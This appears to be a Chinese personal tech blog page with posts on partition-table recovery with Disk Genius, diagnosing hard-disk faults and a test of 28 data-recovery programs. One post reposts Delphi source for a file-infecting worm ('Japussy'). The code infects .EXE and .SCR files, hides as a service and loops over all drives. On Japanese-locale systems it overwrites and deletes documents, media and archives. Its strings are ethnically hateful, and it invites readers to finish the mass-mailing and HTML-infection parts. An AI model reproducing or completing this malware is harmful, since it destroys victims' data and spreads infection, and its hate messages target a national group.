用Disk Genius 3.0自动恢复分区表

8

分类 : 网络日志 | 发表时间 28-06-2008

公司电脑上挂了两个硬盘,一个是串口160G,一个是400G并口;以前是两个并口硬盘,为了提升速度,和同事换了一块硬盘,换为串口硬盘之后,最近电脑就问题不断,已经有七八年经常不做系统的我,现在几乎每星期都要做一次系统;开始怀疑新买的串口硬盘有问题,后来怀疑新送的串口数据线有问题,还怀疑串口硬盘的电源转接线,这些都存在可能性,但在经历了几个星期的做系统之后,终于盯在了电源的问题上;换了电源之后,系统稍微稳定了,但第二块IDE接口的硬盘,却成了一块“砖”,到“磁盘管理”里面看了一下,成了一个新硬盘了,里面将近400G的数据,全部没办法读了。

冷静,不要慌!

分析原因,不外乎电源动力不足,造成硬盘读写错误,把硬盘分区表给破坏了;这和那个串口硬盘经常出现系统错误需要做系统的问题原因几乎一致,只是分区表错误,里面所有的文件数据都还在,这就问题不大;前两年,本博还发布过硬盘故障判断分析及处理数据恢复软件28款简单测试&绿色下载在什么情况下能够进行数据恢复?EasyRecovery恢复数据之移动硬盘篇记一次危险的<数据恢复经历,那些大风大浪都过来了,这算什么?不过,还是有些忐忑,毕竟这400G里面可是有着几年的商业数据哪!

开动百度、google,首先找的就是易我数据恢复向导,这个软件虽然需要注册码,不过很多下载站直接在内容描述中提供了;这个软件以前用过,在早两年,还帮助我恢复了重要的OA系统附件数据,但在使用的时候,发现这软件恢复文件是没得说,但恢复分区后保存分区,却没这功能;后来又查到易我分区表医生,有专业的分区表维护功能,可是查到的功能时,我数据已经恢复过来了;等以后吧,以后再让它显神通。

放弃易我数据恢复向导,继续寻找“恢复分区表”,又找来了很多数据恢复软件,比如EasyRecovery Professional,Norton PartitionMagic 8.0,disgen2.0(diskman)、FinalData、testdisk、Disk Genius 3.0等,把这些软件轮番上阵;没经验的,这时候,可要先备份一下有问题硬盘,要么克隆一份,要么操作时,不在再初始化此硬盘,更不要在此硬盘上再进行任何分区等写入性操作,我操作这么厉害,这么胆大,除了这个问题硬盘是外接的外(下载、安装等操作都不在这个硬盘上,都在那个串口上操作),还有就是,我玩硬盘数据恢复还是有些经验的,曾经格式化过五六次的硬盘,都被我找回来了85%的数据。

在测试的过程中,发现EasyRecovery Professional也是先分析分区数据再让你选择所分析出来的分区,然后再进一步恢复文件;我的目的不是这,而是直接分析出来分区表之后,能够恢复并保存分区表的,显然,虽然EasyRecovery Professional神通也不小,但是达不到我的要求;同理,finaldata也是如此,这两个软件的功能也是很值得称道的。

 

 

用EasyRecovery Professional查找数据,记着上述的这种方式了,通过高级扫描、选择NTFS来找寻分区,如果用默认设置,是查找不完整的,或者就是查找不出来,这种方式,很容易就分析出来了。

至于disgen2.0和分区魔术师,这两个一个需要到dos下面,另一个所谓的恢复分区操作是指在它创建分区没有执行时,可以恢复分区操作,真是误导,这搜索引擎关键字,有时候还真是耽误事;最后,还是用到了可爱的Disk Genius 3.0.608.2,还是绿色版本,这个作者记得很清楚,叫李大海,早在五六年前时,我就经常用他的disman软件,挽救了无数的硬盘数据,更是自动恢复了无数的分区,现在推出的这个升级,可以直接在windows下面操作,除保留原DOS版特色功能以外,还新增了VMware虚拟硬盘管理、删除文件恢复、硬盘镜像和复制等强大功能,高深了许多,具体功能这里不多述,可以搜索可爱的搜索引擎;以下看演示:

 

保存分区时,这里在windows的我的电脑里面,已经在不断的刷新显示了,H盘、I盘、J盘、K盘,迫不及待的打开H盘,数据正常,OK,恢复分区表成功。

解决问题,不断的实践、尝试,这是必须的,前提是理念基础和经验,这也很重要。还有一条,不要慌!呵……

上述所列软件,均可很容易从网络上搜索到,请对症下药,分别下载,本站就不提供下载了。

熊猫烧香的部分核心源码

0

分类 : 技术文摘 | 发表时间 01-02-2007

from:lengmo blog

本代码仅供技术研究使用,请勿用于非法用途!

program Japussy;
uses
 Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
 HeaderSize = 82432; //病毒体的大小
 IconOffset = $12EB8; //PE文件主图标的偏移量
 
 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
 //查找2800000020的十六进制字符串可以找到主图标的偏移量
 
{
 HeaderSize = 38912; //Upx压缩过病毒体的大小
 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
 
 //Upx 1.24W 用法: upx -9 –8086 Japussy.exe
}
 IconSize = $2E8; //PE文件主图标的大小–744字节
 IconTail = IconOffset + IconSize; //PE文件主图标的尾部
 ID = $44444444; //感染标记
 
 //垃圾码,以备写入
 Catchword = ‘If a race need to be killed out, it must be Yamato. ‘ +
 ’If a country need to be destroyed, it must be Japan! ‘ +
 ’*** W32.Japussy.Worm.A ***’;
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
 stdcall; external ‘Kernel32.dll’; //函数声明
var
 TmpFile: string;
 Si: STARTUPINFO;
 Pi: PROCESS_INFORMATION;
 IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
 Ver: TOSVersionInfo;
begin
 Result := False;
 Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
 if not GetVersionEx(Ver) then
 Exit;
 if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
 Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
 dStartPos: Integer; Count: Integer);
var
 sCurPos, dCurPos: Integer;
begin
 sCurPos := Src.Position;
 dCurPos := Dst.Position;
 Src.Seek(sStartPos, 0);
 Dst.Seek(dStartPos, 0);
 Dst.CopyFrom(Src, Count);
 Src.Seek(sCurPos, 0);
 Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
 sStream, dStream: TFileStream;
begin
 try
 sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
 try
 dStream := TFileStream.Create(FileName, fmCreate);
 try
 sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
 dStream.CopyFrom(sStream, sStream.Size – HeaderSize);
 finally
 dStream.Free;
 end;
 finally
 sStream.Free;
 end;
 except
 end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
 Si.cb := SizeOf(Si);
 Si.lpReserved := nil;
 Si.lpDesktop := nil;
 Si.lpTitle := nil;
 Si.dwFlags := STARTF_USESHOWWINDOW;
 Si.wShowWindow := State;
 Si.cbReserved2 := 0;
 Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
 //哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
 HdrStream, SrcStream: TFileStream;
 IcoStream, DstStream: TMemoryStream;
 iID: LongInt;
 aIcon: TIcon;
 Infected, IsPE: Boolean;
 i: Integer;
 Buf: array[0..1] of Char;
begin
 try //出错则文件正在被使用,退出
 if CompareText(FileName, ‘JAPUSSY.EXE’) = 0 then //是自己则不感染
 Exit;
 Infected := False;
 IsPE := False;
 SrcStream := TFileStream.Create(FileName, fmOpenRead);
 try
 for i := 0 to $108 do //检查PE文件头
 begin
 SrcStream.Seek(i, soFromBeginning);
 SrcStream.Read(Buf, 2);
 if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
 begin
 IsPE := True; //是PE文件
 Break;
 end;
 end;
 SrcStream.Seek(-4, soFromEnd); //检查感染标记
 SrcStream.Read(iID, 4);
 if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
 Infected := True;
 finally
 SrcStream.Free;
 end;
 if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
 Exit;
 IcoStream := TMemoryStream.Create;
 DstStream := TMemoryStream.Create;
 try
 aIcon := TIcon.Create;
 try
 //得到被感染文件的主图标(744字节),存入流
 aIcon.ReleaseHandle;
 aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
 aIcon.SaveToStream(IcoStream);
 finally
 aIcon.Free;
 end;
 SrcStream := TFileStream.Create(FileName, fmOpenRead);
 //头文件
 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
 try
 //写入病毒体主图标之前的数据
 CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
 //写入目前程序的主图标
 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
 //写入病毒体主图标到病毒体尾部之间的数据
 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize – IconTail);
 //写入宿主程序
 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
 //写入已感染的标记
 DstStream.Seek(0, 2);
 iID := $44444444;
 DstStream.Write(iID, 4);
 finally
 HdrStream.Free;
 end;
 finally
 SrcStream.Free;
 IcoStream.Free;
 DstStream.SaveToFile(FileName); //替换宿主文件
 DstStream.Free;
 end;
 except;
 end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
 FileHandle: Integer;
 i, Size, Mass, Max, Len: Integer;
begin
 try
 SetFileAttributes(PChar(FileName), 0); //去掉只读属性
 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
 try
 Size := GetFileSize(FileHandle, nil); //文件大小
 i := 0;
 Randomize;
 Max := Random(15); //写入垃圾码的随机次数
 if Max < 5 then
 Max := 5;
 Mass := Size div Max; //每个间隔块的大小
 Len := Length(Catchword);
 while i < Max do
 begin
 FileSeek(FileHandle, i * Mass, 0); //定位
 //写入垃圾码,将文件彻底破坏掉
 FileWrite(FileHandle, Catchword, Len);
 Inc(i);
 end;
 finally
 FileClose(FileHandle); //关闭文件
 end;
 DeleteFile(PChar(FileName)); //删除之
 except
 end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
 DiskType: Word;
 D: Char;
 Str: string;
 i: Integer;
begin
 for i := 0 to 25 do //遍历26个字母
 begin
 D := Chr(i + 65);
 Str := D + ‘:\’;
 DiskType := GetDriveType(PChar(Str));
 //得到本地磁盘和网络盘
 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
 Result := Result + D;
 end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
 i, Count: Integer;
&
nbsp;Fn, Ext: string;
 SubDir: TStrings;
 SearchRec: TSearchRec;
 Msg: TMsg;
 function IsValidDir(SearchRec: TSearchRec): Integer;
 begin
 if (SearchRec.Attr <> 16) and (SearchRec.Name <> ‘.’) and
 (SearchRec.Name <> ‘..’) then
 Result := 0 //不是目录
 else if (SearchRec.Attr = 16) and (SearchRec.Name <> ‘.’) and
 (SearchRec.Name <> ‘..’) then
 Result := 1 //不是根目录
 else Result := 2; //是根目录
 end;
begin
 if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
 begin
 repeat
 PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
 if IsValidDir(SearchRec) = 0 then
 begin
 Fn := Path + SearchRec.Name;
 Ext := UpperCase(ExtractFileExt(Fn));
 if (Ext = ‘.EXE’) or (Ext = ‘.SCR’) then
 begin
 InfectOneFile(Fn); //感染可执行文件
 end
 else if (Ext = ‘.HTM’) or (Ext = ‘.HTML’) or (Ext = ‘.ASP’) then
 begin
 //感染HTML和ASP文件,将Base64编码后的病毒写入
 //感染浏览此网页的所有用户
 //哪位大兄弟愿意完成之?
 end
 else if Ext = ‘.WAB’ then //Outlook地址簿文件
 begin
 //获取Outlook邮件地址
 end
 else if Ext = ‘.ADC’ then //Foxmail地址自动完成文件
 begin
 //获取Foxmail邮件地址
 end
 else if Ext = ‘IND’ then //Foxmail地址簿文件
 begin
 //获取Foxmail邮件地址
 end
 else
 begin
 if IsJap then //是倭文操作系统
 begin
 if (Ext = ‘.DOC’) or (Ext = ‘.XLS’) or (Ext = ‘.MDB’) or
 (Ext = ‘.MP3′) or (Ext = ‘.RM’) or (Ext = ‘.RA’) or
 (Ext = ‘.WMA’) or (Ext = ‘.ZIP’) or (Ext = ‘.RAR’) or
 (Ext = ‘.MPEG’) or (Ext = ‘.ASF’) or (Ext = ‘.JPG’) or
 (Ext = ‘.JPEG’) or (Ext = ‘.GIF’) or (Ext = ‘.SWF’) or
 (Ext = ‘.PDF’) or (Ext = ‘.CHM’) or (Ext = ‘.AVI’) then
 SmashFile(Fn); //摧毁文件
 end;
 end;
 end;
 //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
 Sleep(200);
 until (FindNext(SearchRec) <> 0);
 end;
 FindClose(SearchRec);
 SubDir := TStringList.Create;
 if (FindFirst(Path + ‘*.*’, faDirectory, SearchRec) = 0) then
 begin
 repeat
 if IsValidDir(SearchRec) = 1 then
 SubDir.Add(SearchRec.Name);
 until (FindNext(SearchRec) <> 0);
 end;
 FindClose(SearchRec);
 Count := SubDir.Count – 1;
 for i := 0 to Count do
 LoopFiles(Path + SubDir.Strings[i] + ‘\’, Mask);
 FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
 DriverList: string;
 i, Len: Integer;
begin
 if GetACP = 932 then //日文操作系统
 IsJap := True; //去死吧!
 DriverList := GetDrives; //得到可写的磁盘列表
 Len := Length(DriverList);
 while True do //死循环
 begin
 for i := Len downto 1 do //遍历每个磁盘驱动器
 LoopFiles(DriverList[i] + ‘:\’, ‘*.*’); //感染之
 SendMail; //发带毒邮件
 Sleep(1000 * 60 * 5); //睡眠5分钟
 end;
end;
{ 主程序开始 }
begin
 if IsWin9x then //是Win9x
 RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
 else //WinNT
 begin
 //远程线程映射到Explorer进程
 //哪位兄台愿意完成之?
 end;
 //如果是原始病毒体自己
 if CompareText(ExtractFileName(ParamStr(0)), ‘Japussy.exe’) = 0 then
 InfectFiles //感染和发邮件
 else //已寄生于宿主程序上了,开始工作
 begin
 TmpFile := ParamStr(0); //创建临时文件
 Delete(TmpFile, Length(TmpFile) – 4, 4);
 TmpFile := TmpFile + #32 + ‘.exe’; //真正的宿主文件,多一个空格
 ExtractFile(TmpFile); //分离之
 FillStartupInfo(Si, SW_SHOWDEFAULT);
 CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
 0, nil, ‘.’, Si, Pi); //创建新进程运行之
 InfectFiles; //感染和发邮件
 end;
end.

硬盘故障判断分析及处理

3

分类 : 技术文摘 | 发表时间 06-09-2006

目前,大家在网上下载电影,下载连续剧,甚至下载游戏都经常用到BT、电驴等软件。而这些软件都是非常伤硬盘的。那么如果硬盘出现了故障,应该怎样判断呢?

  硬盘的故障分类大致分成两类,即软故障和硬故障。有关学术界的分类比较繁杂,也不容易记忆,实用性也不强。众网友如遇到硬盘故障可按现象对应初判硬盘故障。
 
   一.磁头损坏 磁头损坏是硬盘常见的一种故障,特别对于IBM后期的产品。温度过高,散热问题把硬盘的祖师IBM把送进了坟墓。磁头损坏的典型现象是:开机自检时无法通过自检,并且硬盘因为无法寻道而发出有规律的“卡嚓,卡嚓”的声音。有些笔记本硬盘声音会比较小,要贴近听才能听到。遇到这种情况如果硬盘的数据重要的,就应该马上断电,因为磁头损坏后磁头臂的回来摆动有可能会刮伤盘面而导致数据无数恢复。此时应找一家有实力的数据恢复公司,不要随便拿到电脑城的铺面去。现在国内数据恢复行业的从业者参差不齐。众所周知,硬盘只可以在100级以上的纯净间才可以拆开,更换磁头。如果在通常的环境拆开硬盘,将导致盘面粘灰而无法恢复数据。
 
   二. 主板损坏 如果硬盘的主板烧坏,最普通的表现就是通了电后没有任何反应。用户可把硬盘拿在手上,感觉它是否转动。如果是笔记本硬盘则贴近硬盘听其是否有转动的声音。也可以看板子上的元器件是否有明显烧伤的痕迹。如果损坏的硬盘数据不重要就可以到电脑城随便找一家修硬盘的就可以处理,如果数据重要则要考虑,很多修硬盘的经常会将硬盘修好的同时也将数据丢失了。
 
   三. 硬盘坏道 硬盘坏道是相当普遍的故障,由于现在的硬盘转速快了,容量大了,更加容易产生坏道。用户在平常的使用是可以帮硬盘装个风扇,这种方式对于硬盘的故障是非常有效的。硬盘出现坏道后的现象会因硬盘坏道的严重性不同而不同,比如说:系统启动慢,则可能是系统盘出现坏道。或者能进系统,但莫名少了些分区或有些分区无法打开,或能打开分区而某些文件夹无法打开。这些现象都是典型的硬盘坏道的表现。有些严重的会让系统无法正常启动,如果挂成从盘甚至令主盘的系统也无法启动。还有更严重的,就是BIOS找硬盘都要找半天。此时如果故障盘没有重要数据,那弄个小软件低格一下,比如DM,MHDD之类就可以搞定,如果严重的可能需要PC3000之类专业工具才行。如果故障盘有重要数据的,千万记住:切勿强行加电尝试复制数据,因为硬盘产生坏道后很容易扩散。强行加电会令坏道越来越多,越来越密集。会加大数据恢复的难度而要付出更大的代价。硬盘坏道扩散得快的硬盘品牌有:三星,西数,IBM等。硬盘坏道有时也会有些响声,但与磁头损坏的响声不同。比磁头损坏的声音小些,且读到硬盘坏道时硬盘灯会常亮。

  四. 硬盘盘体损坏 盘体损坏是业界一个比较通俗的叫法,实际上是指硬盘的固件区出错,导致无法识别并使用硬盘。固件区是指硬盘存于负道区的一些有关该硬盘的最基本的信息,比如P列表,G列表,SMART表,硬盘大小等等信息。硬盘通电后自检时磁头先读取负道区的信息,如果某些存在负道区的信息没有被读出,则硬盘无法通过自检而报错。此类故障典型的现象就是开机自检后硬盘报错,并让你按F1怱略或按DEL进入CMOS设置。按DEL进入设置后,检测该硬盘会出现一些出错的参数,像迈拓的40G薄盘会显示N40P之类的,而且容量一般为0,修复此类故障需要专业的设备。俄罗斯的PC3000在这方面最擅长,为全世界普遍采用。

  五. MBR损坏 MBR是硬盘的主引导记录,位于硬盘的0磁道,是相当重要的硬盘基本信息。如果MBR损坏,则硬盘能在BIOS里找到正确的参数,但再进入DOS或WINDOWS却无法找到该硬盘。许多病毒会导致MBR丢失,硬盘坏道或其他人为因素同样会让MBR丢失。

  六. 分区表丢失 病毒,坏道,误操作,误克隆,误用一键恢复(许多品牌机具有的新功能)都会导致分区表的丢失。如果整个分区表或因误操作丢失了某个分区用户最好不要再做多余的操作,以免覆盖了数据。可请专业的公司恢复数据,如果没有重要数据直接重建分区即可。

  硬盘的常见故障大致如上,虽未列出全部硬盘故障,但常见的都是包括的。

    评论的网友补充,还可能存在以下几种情况:

    1.硬盘跳线是否对。

    2.数据线是否插好。

    3.电源线是否插好。

    关于这几个问题,只要检查一下就好了。

数据恢复软件28款简单测试&绿色下载

0

分类 : 技术文摘 | 发表时间 30-08-2006

ps:这应该是“雨浪飘零”的原创,从龙卷风看到的,但在其他地方也看到过这是原创,十分不解。雨浪飘零的工具光盘非常不错,我给许多网管朋友都以礼相赠。本人对数据恢复非常感兴趣,如此测试经典,特意收藏,如有商业化收录,请联系“雨浪飘零”。

测试原因:

前天一朋友请我帮它恢复一台IBM本本的数据,这台本本是他大哥的,里面有重要的数据,以Word文档为主。硬盘只有20G,D盘为数据盘,8G。由于误操作对这个分区格式化,发现后立即停止。目前的症状表现为Windows下可以看到D盘,但无法访问。朋友已经对分区用恢复软件进行了扫描,但没有找到任何数据。由于他大哥下午要参加会议,我们只有半天的时间来恢复数据,所以完全靠手工解决不太可能,只好尽可能的用软件来快速恢复。经过分析后发现分区表紊乱,于是修复分区表后用了几个常用的软件进行恢复,但效果过非常差,只好到网上寻找新版软件,最终恢复了大部分数据。

分析这次的恢复过程,我认为对不同情况下的软件选择非常重要,选择适当的恢复软件,不仅对数据的恢复非常重要,而且可以节省大量的时间。因此决定对目前网上流行的数据恢复软件进行一个简单的测试,为有此需要的朋友作个参考。

测试过程:
    ①一个分区格式化后塞满文件,全部删除后进行数据恢复。
    ②把这个分区再次格式化后再恢复。
    ③把这个分区删除后进行数据恢复。

PS:我硬盘最后有一个隐藏的150M左右的分区,是平时用来在DOS下作业的。为了节省测试时间和方便操作,就使用了这个分区进行测试。

测试环境:
    主板  ASUS P4P800-X
    CPU  C4D 2.4
    内存  512M DDR333
    硬盘  Maxtor 120G

测试结果:
    ①几乎所有软件都能够对删除的文件进行恢复,但部分软件恢复后的数据有问题。
    ②只有部分软件支持对格式化后的硬盘进行数据恢复。

PS:由于时间原因我没有进行全面的测试,只对是否能有效恢复文件做了简单测试,根据测试结果把这些软件分位三类,只对能够进行格式化后恢复的软件做了详细比较。其他两类没有做比较,因此不做说明。

一、只能恢复已删除文件

1 Active File Recovery

一个简单易用、功能超强的数据恢复工具,使用它可以恢复在 Windows 中丢失或删除的文件和文件夹。它不仅可以恢复分区格式化或丢失后的数据,而且可以恢复被损坏、病毒或目录结构导致丢失的数据。所有类型的硬盘驱动器:IDE、ATA、SCSI 和软盘;可移动设备:CompactFlash、SmartMedia、Secure Digital/MultiMediaCard、Sony Memory Sticks 等;

格式化恢复:无

速度很快,只有一种扫描方式,对中文支持不好,带中文名字的文件大多无法恢复(中文和英文结合时,如果中文在前,无法恢复;如果英文在前,可恢复,丢失中文部分),中文Word文档恢复后部分成乱码。扫描到的文件以原来目录结构方式显示。

2 Drive Rescue 1.9d

一款优秀而且免费的磁盘数据拯救程序,它能恢复驱动器(例如硬盘)上误删或遗失的数据,即使已经失去分区表或硬盘已被快速格式化或者遭遇系统崩溃等情况,找回驱动器重要文件系统信息如分区表、引导记录、FAT、文件/目录记录等。当然对于物理损坏的硬盘它也无能为力。Drive Rescue支持FAT 12/16/32分区和Windows全系列操作系统以及双硬盘。

格式化恢复:无

功能一般,扫描速度中等,扫描效果还不错,对中文和特殊字符文件名的文件都能够很好的支持。恢复时要到菜单里选择保存,或者用Ctrl+S。特色是能够查找丢失的分区并修复。

3 DISKCOMMAND

Winternals公司的又一款力作。它是基于WINNT内核平台的数据恢复软件,支持FAT16/FAT32/NTFS,支持SCSI、RAID,支持长文件名,还可以恢复NTFS加密的软件,可以说,只要硬盘主数据区没被破坏,无论分区表有无,或者损坏的多么严重,他都可以完整的恢复几乎所有的文件,即使文件区被损坏,也能把剩下的部分,恢复到不同程度,这个是其他软件无法做到的。

格式化恢复:无

这个软件没有单独发行版本,是包含在ERD系统里的恢复软件,当年做光盘时专门测试过它。扫描速度还不错,可以选择扫描已经删除的文件,或者是丢失或损坏的文件,操作比较傻瓜化。对中文以及深层目录支持的比较好,可以恢复到最原始的状态。

4 Filerecoveryangel

一款文件恢复工具,它能够帮助你从格式化成FAT12、FAT16、FAT32、NTFS文件系统的磁盘中恢复被删除的文件。它不仅仅可以针对硬盘进行文件恢复,它还很好地适用于软盘、数码相机、USB驱动器、ZIP盘、CompactFlash卡、SmartMedia,以及索尼记忆棒。

格式化恢复:无

所有测试软件中唯一一个不让选择磁盘的软件,运行后直接对所有磁盘进行扫描,虽然速度比较快,但大硬盘也够郁闷的,不知道作者是怎么想的。

5 FileRescueNTFS

一款易于使用而用强大的软件工具,它可以恢复意外删除的文件和文件夹。它使你能够恢复从回收站删除的文件,以及那些不经过回收站而直接删除的文件(例如使用Shift+Delete键删除的文件)。它还可以恢复由于病毒攻击和软件错误而删除的文件。

格式化恢复:无

6 Recover4all

每个人一定都有曾不小心误删档案与目录的经验,通常要恢复误删档案有时是相当困难的,不妨先试试 Recover 4 all 看看,它能将刚刚所删除的档案找出来,但必须在 Windows 下所删除的文件,它才能找出并挽救回来。该版本可以运行于 Win9x/Me/NT/2000/XP 等操作系统下,帮助你在这些操作操作中恢复删除的文件。

格式化恢复:无

不知道这个软件当年怎么那么流行,几乎所有恢复软件评测中都有它的身影,但是现在在众多的恢复软件中,它已经显得有些吃力甚至落伍了。另外它注册后还需要激活,没有找到激活码。

7 RecoverItAllPro

大概是体积最小的文件恢复软件了,几百 KB 的体积让您轻松将它保存在软盘中便于携带。通过它,您可以尽可能地挽救硬盘中误删除的文件。软件支持快速逻辑扫描和慢速逻辑扫描两种模式,并可以恢复文件所在的目录;您也可以通过过滤器查找指定类型的文件。

格式化恢复:无

8 Sma
rtUndelete

一款强大的数据恢复软件,能有效的找回已被删除的文件。易于使用,巧妙的恢复被删除的文件,甚至是那些你认为无法挽救的损失。

格式化恢复:无

9 UnErase

让恢复被删除的数据变得易如反掌。在帮助系统的指导下,用户能够恢复更多的文件。O&O UnErase 只需要用户点击鼠标就能够帮助寻找回被删除的文件。同时还能够恢复文件名和目录结构。

格式化恢复:无

扫描的速度非常快,而且能够很好的保持原有目录结构,恢复出来的文件也很少出错,但只能扫描出没有被改动的文件。

10 VideoRescue Pro

用来恢复丢失的视频数据的工具,该程序能够从多种设备(USB,FireWire, Palm Pilots, Windows CE devices, Digital Cameras,Digital Camcorders, and certainly from Hard Drives,FlashPath Adaptors, CompactFlash cards (type I/II), IBM Microdrives, SmartMedia cards, MultiMedia cards (MMCs),Secure Digital (SD) cards and Memory Sticks)中恢复数据,支持的文件格式有MPEG, AVI, DVD, WMV, MOV, ASF等。

格式化恢复:无

只支持常见影音格式文件的恢复,速度奇慢。

二、只恢复媒体文件

1 MediaRecovery

你丢失了来自你的婚礼,你的孩子或去年假期的不能替代的照片吗?不要惊慌–即将帮助! O&O MediaRecovery仅按一下按钮就可以恢复删除图片,录象和音乐数据!

连接数据存储介质把删除数据(例如:你的数码相机)保存到你的电脑。

安装O&O MediaRecovery在你的电脑上并且开始编程。助理将指导你一步步通过数据搜索。

特色:
    1、预览先前恢复的文件
    2、你的数码照片和MP3的最佳恢复
    3、认可和恢复的文件类型超过80个
    4、即使文件已被损坏或软件故障,也可恢复存储介质上的数据

格式化恢复:有

只支持图片和影音文件,扫描结果文件以格式归类显示,扫描结果格式化改名,支持图片预览。不支持目录结构恢复。

恢复后文件状态:正常

2 MediaRescue Pro

能够将你的数字视频数据、音频数据进行恢复的工具,包括硬盘数据、闪存卡、MP3、WMA、PDAs、手机、MMCs卡、SD卡等里的数据。并能储存和添加其他文件格式包括:JPEG, AVI, MOV,MP3, WMA, WAV等

格式化恢复:有

虽然以图片和影音文件恢复位主,但提供了其他文件格式的选择(自定义后缀名)。不知道是什么原因,扫描过程中出现内存读取错误,只能恢复极个别文件。扫描结果文件以格式归类显示,扫描结果格式化改名。

3 ObjectRescue Pro

能够将你的数字视频数据、音频数据、MP3和WMA数据进行恢复的工具,包括硬盘数据、闪存卡、MP3、WMA、PDAs、手机、MMCs卡、SD卡等里的数据。并能储存和添加其他文件格式包括:DOC, XLS, ZIP,AR,JPEG, AVI, MOV,MP3, WMA, WAV等。

格式化恢复:有

同上,不知道是什么原因,扫描过程中出现内存读取错误,只能恢复极个别文件。扫描结果文件以格式归类显示,扫描结果格式化改名。

4 PhotoRescue Pro

数码照片恢复专家:这个软件可以恢复数码照相机,手机,PDA等多媒体设备中丢失的数据。这个软件也支持从CD,DVD,硬盘恢复,并可以从CompactFlash卡, IBM Microdrives, SmartMedia 卡, MultiMedia 卡,记忆棒中恢复文件。支持诸如:jpg、gi、crw、bmp、tiff、mpg、png等格式的文件。

同上,不知道是什么原因,扫描过程中出现内存读取错误,只能恢复极个别文件。扫描结果文件以格式归类显示,扫描结果格式化改名。

5 Recover My Photos

Recover My Photos是一款功能极强的数据恢复程序,可以恢复在硬盘、闪存、存储棒、软盘等地方被删除的图片或多媒体文件,包括JPEG, NEF, TIFF, BMP, MOV, MPEG,和WAV等文件。可以对Flash闪存卡、记忆棒、Smart卡或其他存储器进行数据恢复,还包括PC的磁盘驱动器。

格式化恢复:有

以图片恢复为主,同时支持常见影音文件的恢复,速度与效果都相当好。支持图片预览。

恢复后文件状态:正常

三、可恢复格式化后的分区文件

1 DiskRecovery 技术版

网络介绍:

O&O DiskRecovery v4.0  O&O DiskRecovery是一款独具特色的存贮设备数据恢复软件,能直接恢复硬盘、存储卡、数码相机中的文件,只要没有被重复填写数据,即时已经进行了格式化,O&O DiskRecovery也能救你于水火。能辨别修复包括Word 文档、Excel表格、Access数据库和各种常用图形、图像、电影、音乐(JPEG, AVI, MPEG,MP3, WAV, BMP, TIFF, Corel Draw, Photoshop, Framemaker,Adobe Illustrator, and many more)在内300余种文件格式。

测试点评:

格式化恢复:有,可恢复所有文件

比较有特色的是深度扫描功能,可以对不同文件系统和已格式化的分区进行扫描,恢复能力非常强。扫描结果以文件格式分类显示和恢复,而且重新格式化命名,对于普通用户来说比较不方便。删除分区后恢复出的文件大部分有错误。

恢复后文件状态:正常

2 EasyRecovery

网络介绍:

一款威力非常强大的硬盘数据恢复工具。能够帮你恢复丢失的数据以及重建文件系统。EasyRecovery 不会向你的原始驱动器写入任何东东,它主要是在内存中重建文件分区表使数据能够安全地传输到其他驱动器中。你可以从被病毒破坏或是已经格式化的硬盘中恢复数据。该软件可以恢复大于 8.4GB 的硬盘。支持长文件名。 被破坏的硬盘中像丢失的引导记录、BIOS 参数数据块;分区表;FAT 表;引导区都可以由它来进行恢复。

测试点评:

格式化恢复:有,可恢复所有文件

扫描速度比较慢,但是效果不错,而且能够修复已经损坏的Word和Zip等文件。扫描后的结果以单独目录方式显示和恢复(就是目录套目录时,会把所有目录平行的显示和恢复),不能做到深层目录的直接恢复。

恢复后文件状态:正常

3 File Rescue Plus

网络介绍:

Windows 专用的拯救删除文件的工具,File Rescue 可以将硬盘上删除的文件及资料找出并以清单显示所删除时的时间及所在
目录或根目录,并让使用者选择是否拯救以删除的文件,拯救回来的文件可选择在原来所在目录或根目录储存恢复或储存到其它的目录或硬盘。

测试点评:

格式化恢复:有,可恢复所有文件

速度还可以,但扫描结果是以全部文件的方式显示,不能恢复目录结构。

恢复后文件状态:对中文Word文档支持不好,打开后为乱码。

4 File Scavenger

网络介绍:

能够恢复在NTFS格式下意外删除的文件工具,前提条件是所删除的硬盘尚未被改写新的文件上去才可以救回,提供了找寻文件类型功能,如*.doc及*.txt,能够救回的文件不只单一文件,还包括整个目录及压缩文件,也支持救回来的文件选择在原来所在位置恢复或储存到其它的硬盘。

